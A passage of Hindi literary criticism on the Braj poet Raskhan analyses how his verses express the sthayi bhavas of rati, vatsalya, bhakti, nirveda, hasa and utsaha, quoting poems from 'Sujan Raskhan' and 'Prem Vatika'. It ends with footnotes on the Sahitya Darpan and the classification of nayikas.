गोपियां यमुना में नहाने जाती हैं किन्तु अचानक कृष्ण की दृष्टि पड़ जाने पर वे ठिठक उठती हैं। इस ठिठकने में अनेक भाव भरे हैं। कुछ डर, कुछ लज्जा, कुछ आशंका, कुछ आश्चर्य, सभी बातें एक साथ आकाश में झिलमिलाते अनेक तारों की भांति प्रकट हो रही हैं। सिसकने में 'अश्रु' सात्विक भाव है। हुलसाने में हर्ष मानसिक अनुभाव है। घूमना 'दृगबान' चलाना आदि 'कायिक' अनुभाव हैं। 'कायिक तथा मानसिक अनुभावों का चित्र-रसखान ने रेखा द्वारा ही प्रस्तुत किया है। रेखाएं बड़ी उभरी हुई तथा सजीव हैं। चित्र-कल्पना का आदर्श रूप इन रेखा-चित्रों में प्राप्त होता है।'
रसखान अनुभाव-योजना में पूर्ण सफल हुई हैं। अनुभावों और चेष्टाओं की यह विभूति आगे चलकर रीतिकालीन कवियों में विशेष रूप से देखने को मिलती है। उनकी अनुभाव-योजना चित्रात्मकता, सजीवता और भाव-प्रवणता की दृष्टि से प्रशंसनीय है।
स्थायी भाव रति
किसी अनुकूल विषय की ओर मन की प्रवृत्ति को 'रति' कहते हैं। विश्वनाथ ने भी प्रिय वस्तु के प्रति हृदय की उत्कट उन्मुखता (प्रेमार्द्रता) को 'रति' कहा है। स्थायी भाव जब सहायक सामग्री से पुष्ट होकर व्यंजित होता है तब रस का परिपाक होता है। जैसे श्रृंगार रस में रति स्थायी भाव होता है। परन्तु जहां परिपोषक सामग्री नहीं रहती वहां स्वतन्त्र रूप से स्थायी भाव ही ध्वनित होता है। रसखान के काव्य में ऐसे अनेक उदाहरण मिल जाते हैं—
कान्ह भए बस बाँसुरी के अब कौन सखी, हमकों चिह है।
निसद्यौस रहै संग-साथ लगी यह सौतिन तापन क्यौं सहि है।
जिन मोहि लियौ मनमोहन कों रसखानि सदा हमकों दहि है।
मिलि आऔ सबै सखी, भागि चलैं अब तो ब्रज मैं बँसुरी रहि है॥<balloon title="सुजान रसखान,64" style=color:blue>*</balloon>


जल की न घट भरैं मग की न पग धरैं,
घर की न कछु करैं बैठी भरैं साँसु री।
एकै सुनि लौट गईं एकै लोट-पोट भई,
एकनि के दृगनि निकसि आए आँसु री।
कहैं रसखानि सो सबै ब्रज-बनिता बधि,
बधिक कहाय हाय भई कुलहाँसु री।
करियै उपाय बाँस उरियै कटाय,
नाहिं उपजैगौ बाँस नाहिं बाजै फेरि बाँसुरी॥<balloon title="सुजान रसखान, 54" style=color:blue>*</balloon>
वात्सल्य रति
पुत्र आदि के प्रति माता-पिता का जो वात्सल्य स्नेह होता है उसे वात्सल्य कहते हैं। यशोदा के इस कथन में वात्सल्य रति की झलक रही हैं-
आपनो सो ढोटा हम सबही को जानत हैं,
दोऊ प्रानी सब ही के काज नित धावहीं।
ते तौ रसखानि अब दूर तें तमासो देखैं,
तरनि तनूजा के निकट नहिं आवहीं।
आन दिन बात अनहितुन सौं कहौं कहा,
हितू जेऊ जाए ते ये लोचन दुरावहीं।
कहा कहौं आली खाली देत सब ठाली पर,
मेरे बनमाली कों न काली तें छुड़ावहीं।<balloon title="सुजान रसखान, 200" style=color:blue>*</balloon>
यहां माता यशोदा की अपने पुत्र के अनिष्ट की आशंका से उत्पन्न हृदय की उद्विग्नता का चित्रण किया गया है। वे अपने पुत्र की सुरक्षा कामना के लिए बहुत चिंतित हैं। यहां माता के हृदय की मंगलमयी स्नेह-भावना का सुंदर चित्रण है।
भक्ति
ईश्वर के प्रति अनुराग को भक्ति कहते हैं। रसखान भक्त कवि हैं, उनका काव्य भक्ति भाव से भरपूर है।
वा लकुटी अरु कामरिया पर राज तिहूँ पुर को तजि डारौं।
आठहु सिद्धि नवौं निधि को सुख नंद की गाइ चराइ बिसारौं।
ए रसखानि जबै इन नैनन ते ब्रज के बन-बाग निहारौं।
कोटिक यह कलधौत के धाम करील की कुंजन ऊपर वारौं।<balloon title="सुजान रसखान, 3" style=color:blue>*</balloon>
यहां स्थायी भाव देव विषयक रति अपने पूर्ण वैभव के साथ विद्यमान है।
कंचन मंदिर ऊँचे बनाइ कै मानिक लाइ सदा झलकैयत।
प्रात ही ते सगरी नगरी नग मोतिन ही की तुलानि तुलैयत।
जद्यपि दीन प्रजान प्रजापति की प्रभुता मधवा ललचैयत।
ऐसे भए तौ कहा रसखानि जो साँवरे ग्वार सौं नेह ने लैयत।<balloon title="सुजान रसखान, 6" style=color:blue>*</balloon>
यहां स्थायी भाव देव विषयक रति की व्यंजना हो रही है।
निर्वेद या शम
तत्वज्ञान होने से सांसारिक विषयों में जो विराग-बुद्धि उत्पन्न होती है, उसे 'निर्वेद' कहते हैं। रसखान की 'प्रेम वाटिका' में स्थान-स्थान पर निर्वेद की निबंधना मिलती हैं-
प्रेम अगम अनुपम अमित, सागर सरिस बखान।
जो आवत यहि ढिग बहुरि, जात नाहिं रसखान॥<balloon title="प्रेम वाटिका, 3" style=color:blue>*</balloon>
आनँद-अनुभव होत नहिं, बिना प्रेम जग जान।
कै वह विषयानंद कै ब्रह्मानंद बखान॥<balloon title="प्रेम वाटिका, 11" style=color:blue>*</balloon>
ज्ञान कर्म 'रु उपासना, सब अहमिति को मूल।
दृढ़ निश्चय नहिं होत बिन, किये प्रेम अनुकूल॥<balloon title="प्रेम वाटिका, 12" style=color:blue>*</balloon> काम क्रोध मद मोह भय लोभ द्रोह मात्सर्य।
इन सब ही तैं प्रेम है परे, कहते मुनिवर्य॥<balloon title="प्रेम वाटिका, 14" style=color:blue>*</balloon>
हास
हास का अभिप्राय वाणी आदि की विकृतियों के दर्शन अथवा चिंतन से संभूत चित्तविकास से है। दूसरे शब्दों में विकृत वचन, कार्य और रूप-रचना से सहृदय के मन में जो उल्लास उत्पन्न होता है उसे 'हास' कहते हैं। रसखान के काव्य में ऐसे एक-दो उदाहरण मिल जाते हैं—
केसरिया पट, केसरि खौर, बनौ गर गुंज को हार ढरारो।
को हौ जू आपनी या छबि सों जु खरे अँगना प्रति डीठि न टारो।
आनि बिकाऊ से होई रहे रसखानि कहै तुम्ह रोकि दुवारो।
हैं तो बिकाऊँ जौ लेत बनै हँसबोल तिहारो है मोल हमारो॥<balloon title="सुजान रसखान, 163" style=color:blue>*</balloon>
यहां रस के परिपाक के अभाव में हास भाव की अभिव्यंजना है।
उत्साह
कार्य करने का अभिनिवेश, शौर्य, आदि प्रदर्शित करने की प्रबल इच्छा को 'उत्साह' कहते हैं। रसखान के काव्य में उत्साह स्थायी भाव के उदाहरण कम मिलते हैं। क्योंकि उनका उद्देश्य वीर काव्य की रचना करना नहीं था। निम्नलिखित पद में उत्साह की व्यंजना हुई है—
कंस के क्रोध की फैलि रही सिगरे ब्रज मंडल माँझ फुकार सी।
आइ गए कछनी कछि कै तबहीं नट-नागर नंदकुमार सी।
द्वरद को रद खैचि लियौ रसखानि हिये गहि लाइ बिचार सी।
लीनी कुठौर लगी लखि तौरि कलंक तमाल तें कीरति-डार सी॥<balloon title="सुजान रसखान, 202" style=color:blue>*</balloon>


इस प्रकार रसखान के काव्य में छ: स्थायी भावों की निबंधना मिलती है- रति, निर्वेद, उत्साह, हास, वात्सल्य और भक्ति। यह बात ध्यान देने योग्य है कि उन्होंने परंपराप्रथिता चार स्थायी भावों को ही गौरव दिया है, जिनमें अन्यतम भाव रति का है। क्रोध, जुगुप्ता, विस्मय, शोक और भय की उपेक्षा का मूल कारण यह प्रतीत होता है कि इन भावों का रति से मेल नहीं है। रसखान प्रेमी जीव थे, अतएव उन्होंने अपनी कविता में तीन प्रकार के रति भावों की रति, वात्सल्य और भक्ति की व्यंजना की; जो भाव इनमें विशेष सहायक हो सकते थे उन्हें यथास्थान अभिव्यक्ति किया। दूसरा कारण यह भी है कि उनकी रचना मुक्तक है; अतएव प्रबनध काव्य की भांति उसमें सभी प्रकार के भावों का सन्निवेश आवश्यक भी नहीं है।

टीका टिप्प्णी

  1. विभावेनानुभावेन व्यक्त: संचारिणा तथा रसतामैति इत्यादि स्थायीभाव: सचेतसाम्॥ साहित्य दर्पण, पृ0 99
    • जाति के अनुसार नायिका के चार भेद किए गए हैं-
    1. पदमिनी,
    2. चित्रिणी,
    3. शंखिनी,
    4. हस्तिनी।
    • धर्म के अनुसार तीन प्रकार की नायिकाएँ मानी गई हैं-
    1. गर्विता,
    2. अन्यसंभोगदु:खिता,
    3. मानवती।
    • अवस्था के अनुसार नायिका के दस भेद किए गए हैं-
    1. स्वाधीनपतिका,
    2. वासकसज्जा,
    3. उत्कंठिता,
    4. अभिसारिका,
    5. विप्रलब्धा,
    6. खंडिता,
    7. कलहांतरिता,
    8. प्रवत्स्यत्प्रेयसी,
    9. प्रोषितपतिका,
    10. आगतपतिका। - ब्रजभाषा साहित्य में नायिका भेद, पृ0 219